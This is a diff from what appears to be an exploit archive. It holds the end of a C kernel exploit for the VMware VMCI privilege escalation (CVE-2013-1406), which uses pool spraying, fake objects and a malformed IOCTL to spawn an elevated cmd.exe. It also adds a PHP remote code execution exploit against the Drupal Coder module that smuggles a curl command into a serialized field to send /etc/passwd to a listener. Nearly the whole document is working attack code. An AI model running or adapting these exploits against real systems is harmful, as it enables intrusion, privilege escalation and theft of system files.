for (PUCHAR iAddr = (PUCHAR)pBuf + 0x43; iAddr < (PUCHAR)pBuf + dwSize; iAddr = iAddr + dwStep)
|
||||||
|
{
|
||||||
|
PDWORD pLock = (PDWORD)(iAddr + 0x38);
|
||||||
|
PDWORD_PTR pCallMeMayBe = (PDWORD_PTR)(iAddr + 0xAC);
|
||||||
|
PDWORD_PTR pFakeDerefObj = (PDWORD_PTR)(iAddr + 0x100);
|
||||||
|
|
||||||
|
*pLock = 1;
|
||||||
|
*pCallMeMayBe = (DWORD_PTR)FireShell;
|
||||||
|
*pFakeDerefObj = (DWORD_PTR)pBuf + 0x1000;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PenetrateVMCI()
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
|
||||||
|
VMware Security Advisory
|
||||||
|
Advisory ID: VMSA-2013-0002
|
||||||
|
Synopsis: VMware ESX, Workstation, Fusion, and View VMCI privilege escalation vulnerability
|
||||||
|
Issue date: 2013-02-07
|
||||||
|
Updated on: 2013-02-07 (initial advisory)
|
||||||
|
CVE numbers: CVE-2013-1406
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
DWORD dwPidToElevate = 0;
|
||||||
|
HANDLE hSuspThread = NULL;
|
||||||
|
|
||||||
|
bool bXP = (LOBYTE(GetVersion()) == 5);
|
||||||
|
bool b7 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 1));
|
||||||
|
bool b8 = ((LOBYTE(GetVersion()) == 6) && (HIBYTE(LOWORD(GetVersion())) == 2));
|
||||||
|
|
||||||
|
if (!InitKernelFuncs())
|
||||||
|
{
|
||||||
|
printf("[-] Like I don't know where the shellcode functions are\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bXP)
|
||||||
|
{
|
||||||
|
printf("[?] Who do we want to elevate?\n");
|
||||||
|
scanf_s("%d", &dwPidToElevate);
|
||||||
|
|
||||||
|
hProcessToElevate = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPidToElevate);
|
||||||
|
if (hProcessToElevate == NULL)
|
||||||
|
{
|
||||||
|
printf("[-] This process doesn't want to be elevated\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (b7 || b8)
|
||||||
|
{
|
||||||
|
// We are unable to change an active process token on-the-fly,
|
||||||
|
// so we create a custom shell suspended (Ionescu hack)
|
||||||
|
STARTUPINFO si = {0};
|
||||||
|
PROCESS_INFORMATION pi = {0};
|
||||||
|
|
||||||
|
si.wShowWindow = TRUE;
|
||||||
|
|
||||||
|
WCHAR cmdPath[MAX_PATH] = {0};
|
||||||
|
GetSystemDirectory(cmdPath, MAX_PATH);
|
||||||
|
wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");
|
||||||
|
|
||||||
|
if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
|
||||||
|
{
|
||||||
|
hProcessToElevate = pi.hProcess;
|
||||||
|
hSuspThread = pi.hThread;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
|
||||||
|
if (hVMCIDevice != INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
UCHAR BadBuff[0x624] = {0};
|
||||||
|
UCHAR retBuf[0x624] = {0};
|
||||||
|
DWORD dwRet = 0;
|
||||||
|
|
||||||
|
printf("[+] VMCI service found running\n");
|
||||||
|
|
||||||
|
PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
|
||||||
|
pVmReq->Header.RequestSize = 0xFFFFFFF0;
|
||||||
|
|
||||||
|
PVOID pShellSprayBufStd = NULL;
|
||||||
|
PVOID pShellSprayBufQtd = NULL;
|
||||||
|
PVOID pShellSprayBufStd7 = NULL;
|
||||||
|
PVOID pShellSprayBufQtd7 = NULL;
|
||||||
|
PVOID pShellSprayBufChk8 = NULL;
|
||||||
|
|
||||||
|
if ((b7) || (bXP) || (b8))
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
Significant bits of a PoolType of a chunk define the following regions:
|
||||||
|
0x0A000000 - 0x0BFFFFFF - Standard chunk
|
||||||
|
0x1A000000 - 0x1BFFFFFF - Quoted chunk
|
||||||
|
0x0 - 0xFFFFFFFF - Free chunk - no idea
|
||||||
|
|
||||||
|
Addon for Windows 7:
|
||||||
|
Since PoolType flags have changed, and "In use flag" is now 0x2,
|
||||||
|
define an additional region for Win7:
|
||||||
|
|
||||||
|
0x04000000 - 0x06000000 - Standard chunk
|
||||||
|
0x14000000 - 0x16000000 - Quoted chunk
|
||||||
|
*/
|
||||||
|
|
||||||
|
pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
|
||||||
|
{
|
||||||
|
printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
|
||||||
|
CloseHandle(hVMCIDevice);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
InitFakeBuf(pShellSprayBufStd, 0x2000000);
|
||||||
|
InitFakeBuf(pShellSprayBufQtd, 0x2000000);
|
||||||
|
InitFakeBuf(pShellSprayBufStd7, 0x2000000);
|
||||||
|
InitFakeBuf(pShellSprayBufQtd7, 0x2000000);
|
||||||
|
|
||||||
|
PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
|
||||||
|
PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
|
||||||
|
PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
|
||||||
|
PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);
|
||||||
|
|
||||||
|
if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
|
||||||
|
{
|
||||||
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
|
||||||
|
}
|
||||||
|
|
||||||
|
PoolSpray();
|
||||||
|
|
||||||
|
if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
|
||||||
|
{
|
||||||
|
printf("\t[!] If you don't see any BSOD, you're successful\n");
|
||||||
|
|
||||||
|
if (b7 || b8)
|
||||||
|
{
|
||||||
|
ResumeThread(hSuspThread);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("[-] Not this time %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pShellSprayBufStd != NULL)
|
||||||
|
{
|
||||||
|
VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pShellSprayBufQtd != NULL)
|
||||||
|
{
|
||||||
|
VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);
|
||||||
|
|
||||||
|
CloseHandle(hVMCIDevice);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
printf("[-] Like I don't see vmware here\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hProcessToElevate);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
29
platforms/php/remote/40144.php
Executable file
29
platforms/php/remote/40144.php
Executable file
|
@ -0,0 +1,29 @@
|
||||||
|
<?php
|
||||||
|
|
||||||
|
# Drupal module Coder Remote Code Execution (SA-CONTRIB-2016-039)
|
||||||
|
# https://www.drupal.org/node/2765575
|
||||||
|
# by Raz0r (http://raz0r.name)
|
||||||
|
#
|
||||||
|
# E-DB Note: Source ~ https://gist.github.com/Raz0r/7b7501cb53db70e7d60819f8eb9fcef5
|
||||||
|
|
||||||
|
$cmd = "curl -XPOST http://localhost:4444 -d @/etc/passwd";
|
||||||
|
$host = "http://localhost:81/drupal-7.12/";
|
||||||
|
|
||||||
|
$a = array(
|
||||||
|
"upgrades" => array(
|
||||||
|
"coder_upgrade" => array(
|
||||||
|
"module" => "color",
|
||||||
|
"files" => array("color.module")
|
||||||
|
)
|
||||||
|
),
|
||||||
|
"extensions" => array("module"),
|
||||||
|
"items" => array (array("old_dir"=>"test; $cmd;", "new_dir"=>"test")),
|
||||||
|
"paths" => array(
|
||||||
|
"modules_base" => "../../../",
|
||||||
|
"files_base" => "../../../../sites/default/files"
|
||||||
|
)
|
||||||
|
);
|
||||||
|
$payload = serialize($a);
|
||||||
|
file_get_contents($host . "/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
|
||||||
|
|
||||||
|
?>
|
Loading…
Add table
Reference in a new issue